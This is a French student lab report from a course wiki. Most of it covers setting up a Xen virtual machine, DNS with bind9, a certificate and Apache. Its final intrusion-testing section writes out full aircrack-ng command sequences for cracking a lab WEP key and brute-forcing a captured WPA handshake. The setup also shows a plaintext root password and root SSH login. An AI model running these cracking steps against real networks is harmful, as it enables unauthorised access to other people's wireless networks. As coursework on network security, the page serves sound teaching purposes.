TP sysres IMA5 2021/2022 G4

De Wiki d'activités IMA
Révision datée du 13 décembre 2021 à 17:27 par Rbonvale (discussion | contributions) (Certificat)

Cablage Réseau

Machine Virtuelle

Création de la machine virtuelle

Commande pour la création de la machine virtuelle:

root@capbreton:~$ xen-create-image --hostname=Karmeliet --ip=193.48.57.179 --gateway=193.48.57.187 --netmask=255.255.255.240 --dir=/usr/local/xen --password=glopglopglop --dist=bullseye

On créé 2 LV de 10 Go pour les allouer plus tard mais pour cela nous devons d'abord voir quel volume groupe choisir (on choisit celui qui dispose du plus grand espace).

root@capbreton:~# vgdisplay
 --- Volume group ---
 VG Name               storage
 System ID             
 Format                lvm2
 Metadata Areas        2
 Metadata Sequence No  152
 VG Access             read/write
 VG Status             resizable
 MAX LV                0
 Cur LV                26
 Open LV               16
 Max PV                0
 Cur PV                2
 Act PV                2
 VG Size               <5.46 TiB
 PE Size               4.00 MiB
 Total PE              1430526
 Alloc PE / Size       50176 / 196.00 GiB
 Free  PE / Size       1380350 / <5.27 TiB
 VG UUID               eusQhE-lOxZ-cQqQ-uFxt-dYjG-LuwI-HL0flc


root@capbreton:~$ lvcreate -L10G -n Karmeliet1 storage
root@capbreton:~$ lvcreate -L10G -n Karmeliet2 storage

Il est nécessaire de les formater au format ext4 :

root@capbreton:~$ mkfs.ext4 /dev/storage/Karmeliet1
root@capbreton:~$ mkfs.ext4 /dev/storage/Karmeliet2

Dans notre fichier /etc/xen/Karmeliet.cfg, on doit indiquer que notre VM doit possèder les volumes logiques que l'on a créé auparavant (Karmeliet1 et Karmeliet2). Il est, également, nécessaire d'indiquer le bridge IMA5sc.

root@capbreton:~$ vim /etc/xen/Karmeliet.cfg
#Disk device(s).
#
root        = '/dev/xvda2 ro'
disk        = [
                 'file:/usr/local/xen/domains/Karmeliet/disk.img,xvda2,w',
                 'file:/usr/local/xen/domains/Karmeliet/swap.img,xvda1,w',
                 'phy:/dev/storage/Karmeliet1,xvda3,w',
                 'phy:/dev/storage/Karmeliet2,xvda4,w'
             ]
#Networking
#
vif         = [ 'ip=193.48.57.179 ,mac=00:16:3E:5E:59:17 ,bridge=IMA5sc' ]


On lance la machine virtuelle :

root@capbreton:~$ xl create -c /etc/xen/Karmeliet.cfg


On doit créer xvda3 et xvda4 pour nos répertoires var et home:

root@Karmeliet:~$ mkdir /mnt/xvda3
root@Karmeliet:~$ mkdir /mnt/xvda4
root@Karmeliet:~$ mount /dev/xvda3 /mnt/xvda3
root@Karmeliet:~$ mount /dev/xvda4 /mnt/xvda4

Le répertoire var doit être placé dans le disque xvda4 :

root@Karmeliet:~$ mv /var/* /mnt/xvda4

Dans le fichier /etc/fstab, il est nécesaire d'ajouter les lignes ci-dessous pour pouvoir monter les disques par la suite:

root@Karmeliet:~$ /dev/xvda3 /home ext4 defaults 0 2
root@Karmeliet:~$ /dev/xvda4 /var ext4 defaults 0 2

La commande suivant permet de monter les disques :

root@Karmeliet:~$ mount -a

Pour vérifier que le montage s'est faite correctement, on peut voir avec la commande lsblk si les partitions sont bien visibles :

root@Karmeliet:~$ lsblk
NAME  MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT
xvda1 202:1    0  512M  0 disk [SWAP]
xvda2 202:2    0    4G  0 disk /
xvda3 202:3    0   10G  0 disk /home
xvda4 202:4    0   10G  0 disk /var

Pour accéder à notre VM :

root@capbreton:~# xen console Karmeliet

Services Internet

Connexion ssh

Pour se connecter en ssh, nous allons dans le fichier se trouvant au chemin :

/etc/ssh/sshd_config

On décommente Port et PermitRootLogin et on leur donne la valeur :

Port 22222
PermitRootLogin Yes

On a plus qu'à se connecter via ssh  :

ssh root@193.48.57.179 -p 22222


DNS

On réserve un nom de domaine sur ghandi.net, en l'occurrence le notre sera :

karmeliet.site

On rentre notre adresse IPv4 dans le "Glue records"

193.48.57.179

On ajoute nos DNS primaire et secondaire pour obtenir un nom de serveur

ns1.karmeliet.site (primaire)
ns6.gandi.net (secondaire)

Configuration de bind9

On installe les paquets

apt install bind9

On change le fichier /etc/resolv.conf

nameserver 127.0.0.1

On va configurer notre DNS primaire dans le fichier de configuration /etc/bind/named.conf.local De plus, on autorise le transfert d'information avec le DNS Secondaire (217.70.177.40)

zone "karmeliet.site" {
  type master;
  file "/etc/bind/db.karmeliet.site";
  allow-transfer { 217.70.177.40; };
};

On créé un fichier db.karmeliet.site ayant le même template que db.local

;
; BIND data file for local loopback interface
;
$TTL    604800
@       IN      SOA      ns1.karmeliet.site.  postmaster.karmeliet.site(
                             4         ; Serial
                        604800         ; Refresh
                         86400         ; Retry
                       2419200         ; Expire
                        604800 )       ; Negative Cache TTL
;
@       IN      NS      ns1.karmeliet.site.
@       IN      NS      ns6.gandi.net.
ns1     IN      A       193.48.57.179


Certificat

Dans Gandi.net, on achète notre certificat en allant sur

SSL certificate

On nous demande une "Certificate Request" CSR que l'on a grâce à la commande

openssl req -nodes -newkey rsa:2048 -sha256 -keyout myserver.key -out server.csr

On remplit les différentes informations que l'on nous demande et on récupère notre csr dans server.csr à la fin de la commande.

On va sur la page de notre certificat pour gandi et on copie colle comme ceci dans notre fichier db.karmeliet.site pour que notre certficat soit valide

;
; BIND data file for local loopback interface
;
$TTL    604800
@       IN      SOA      ns1.karmeliet.site.  postmaster.karmeliet.site(
                             4         ; Serial
                        604800         ; Refresh
                         86400         ; Retry
                       2419200         ; Expire
                        604800 )       ; Negative Cache TTL
;
@       IN      NS      ns1.karmeliet.site.
@       IN      NS      ns6.gandi.net.
ns1     IN      A       193.48.57.179
www	IN	A	193.48.57.179
_D83578361950694C7CBA2CF57DDA0CE7.karmeliet.site. 10800 IN CNAME BEF099045291643A940FA49D11E8FB10.4CCF28E6A180333498A3F008A8B6CB32.0e21313c9c6df2403142.sectigo.com.

Serveur apache

On installe un serveur apache pour vérifier que tout fonctionne

apt install apache2

Tests d'intrusions

5.2 Cassage de clef WEP d’un point d’accès WiFi

Cette commande sert à récupérer le nom de l'interface réseau:

airmon-ng

Notre interface réseau s'appelle "wlan0mon" (renommé automatiquement parce que celui de base était trop long)

On démarre l'interface sur le channel 3 :

airmon-ng start wlan0mon 3

On récupère le BSSID du point d'accès sur lequel on veut récupérer la clé WEP

airodump-ng wlan0mon 

On réalise un test d'injection sur cracotte10

aireplay-ng -9 -e cracotte10 -a 04:DA:D2:9C:50:59 wlan0mon

On récupère les VI générés par le point d'accès pour les stocker dans output :

airodump-ng -c 3 --bssid 04:DA:D2:9C:50:59 -w output wlan0mon

On effectue de fausses authentifications

aireplay-ng -1 0 -e cracotte10 -a 04:DA:D2:9C:50:59 -h 40:A5:EF:D2:11:67 wlan0mon

La clef WEP est alors décriptable :

aircrack-ng -b 04:DA:D2:9C:50:59 output*.cap

Le résultat obtenu est le suivant :

KEY FOUND! [ 55:55:55:55:5A:BC:11:CB:A4:44:44:44:44 ] 
Decrypted correctly: 100%

5.3 Cassage de mot de passe WPA-PSK par force brute

Comme pour le cassage de la clé WEP, on utilise aircrack-ng:

airmon-ng

On récupère le nom de notre interface qui est wlan0mon puis on le lance en mode moniteur sur le channel 7:

airmon-ng start wlan0mon 4

Il nous faut un point d'accès pour pouvoir casser une clé WPA en récupérant son BSSID:

airodump-ng wlan0mon

On choisit kracotte11 avec un BSSID 44:AD:D9:5F:87:0A, on récupère ce qu'on appelle "handshake" et on le sauvegarde dans un fichier sauv:

airodump-ng -c 4 --bssid 44:AD:D9:5F:87:0A -w sauv wlan0mon

On peut commencer le crackage:

aircrack-ng sauv-01.cap -w dico.txt